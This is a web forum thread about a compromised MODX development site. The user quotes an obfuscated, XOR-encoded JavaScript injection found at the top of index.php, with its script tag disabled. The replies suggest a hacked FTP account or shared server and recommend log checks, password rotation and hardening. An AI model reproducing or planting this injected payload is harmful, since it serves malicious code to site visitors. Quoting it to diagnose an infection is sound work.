We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 22656
    • 121 Posts
    Just logged into our old dev site to check something, havent been on it in the last month or so...
    my NOD comes up with a warning about a trojan, coming from the favicon.ico file!?!?

    Opening the main index.php i noticed a javascript include at the top, with code pasted below. How is it that this site got infected, i thought revo was a little more resilient towards cross scripting attacks? Is it a particular vulnelability with this version?

    Is upgrading to latest version enough, or should I start ripping stuff out, lol?

    code
    <disabledscript language='diabled so it doesnt execute'>var GurbLICyOdqKLzseb='';WVnQUcVjzAKTslMboAkUTJv='ncLsez';var FEOmKewEKIjXXkP='NMVniPTkBRpKsfjXhjRKbgyRVcLVRcXgAFPrhLgCMUtbQvOICY';NvfXRZTRfHVMHcjEmeWUZwGrU='WKdYPydHnyLOeSyzNnPV';var tcoKeakxU=0;CmZJpbXDGdrlBx='DjXiLHpySvlrBU';var tBNiOMphFhjTsjZosevh='%71%3F%08%1B%31%39%0E%62%21%02%28%4E%44%02%2C%1C%1A%68%64%4D%0A%0E%3C%25%0C%22%78%3B%0D%77%0E%2F%68%33%15%01%73%03%26%2B%34%01%0E%25%54%6F%2F%31%38%23%28%34%01%1B%34%31%19%7F%70%40%69%53%15%09%2A%07%06%3E%22%0C%67%44%70%38%0C%6E%76%3A%06%31%67%29%32%6D%50%59%6E%47%34%24%31%74%0A%6C%54%7E%6B%63%31%3D%3D%37%0D%0C%6D%76%5A%60%72%06%38%03%07%09%3D%55%48%63%69%42%0A%18%20%31%0A%22%21%3B%07%2C%0F%7C%64%60%50%48%21%06%31%2A%3C%1A%0A%34%1F%28%21%37%64%6C%7D%74%50%55%7F%3D%0D%30%33%1D%2E%4D';jArAMWZtRcxoreHUlyidR='KKVzWtNgWLCw';var BbqLCFcFFpiCN=tBNiOMphFhjTsjZosevh.length/3;naztF='tzyYhtPeEjeFKQNOwszwTaZwh';tBNiOMphFhjTsjZosevh=unescape(tBNiOMphFhjTsjZosevh);wvVlTiYpoeBvDENvwunULtT='FsqoBQabbVnDMUHH';for(GGOZRMimAiOVqbk=0;GGOZRMimAiOVqbk<BbqLCFcFFpiCN;GGOZRMimAiOVqbk++){tcoKeakxU++;if(FEOmKewEKIjXXkP.length<=tcoKeakxU) tcoKeakxU=0;FSgzfUIPGwHE=tBNiOMphFhjTsjZosevh.charCodeAt(GGOZRMimAiOVqbk); lEbjKPjPPTuGVJ='OGimAnuBwfrWgyXwY'; if(FEOmKewEKIjXXkP.charCodeAt(tcoKeakxU)!=FSgzfUIPGwHE) FSgzfUIPGwHE^=FEOmKewEKIjXXkP.charCodeAt(tcoKeakxU); NNLkshfrekbHEI='DTYFJDLJhIQXpyjR';GurbLICyOdqKLzseb+=String.fromCharCode(FSgzfUIPGwHE);} KuYYPTmuQyVsinLpmzAEv='XCeaLrazeXusFIYwFSQiqgA';document.write(GurbLICyOdqKLzseb);aFeDkTsXARoaWNIkrVQuegoz='aesjrTDhivznRDdLfjjzJkBj';</disabledscript>
      • 22303 MODX Staff
      • 10,725 Posts
      It is more likely that your FTP account was compromised, or if on a shared server, another account was compromised which provided them access to yours, depending on your environment. You'll have to provide more information about your environment for us to be able to help further.
        • 22656
        • 121 Posts
        Yup, its a shared server, however I am sitting in the office with the host (owner), and he tells me other sites are fine.
        FTP hack is always a possibility... I cannot find any other infected files except for the root index.php with above code added on top of it. Site was worked on and then left for the last 30 days or so... no traffic going to it, disabled from search engines, i can pm links & login info if you want to investigate further... I've cleaned the index file and everything is back to normal...
          • 1343 ☆ A M B ☆
          • 2,213 Posts
          Check the access logs for both modx and the server, perhaps that will shed some light on the situation.
            Patrick | Server Wrangler
            About Me: Website | Tweets |  MODX Hosting
            • 9207 ☆ A M B ☆
            • 2,475 Posts
            Finding the attack vector can be exceedingly difficult -- any good hack will cover its tracks. At a minimum, it's time to rotate your passwords and move your core directory out of the docroot:
            http://rtfm.modx.com/display/revolution20/Hardening+MODX+Revolution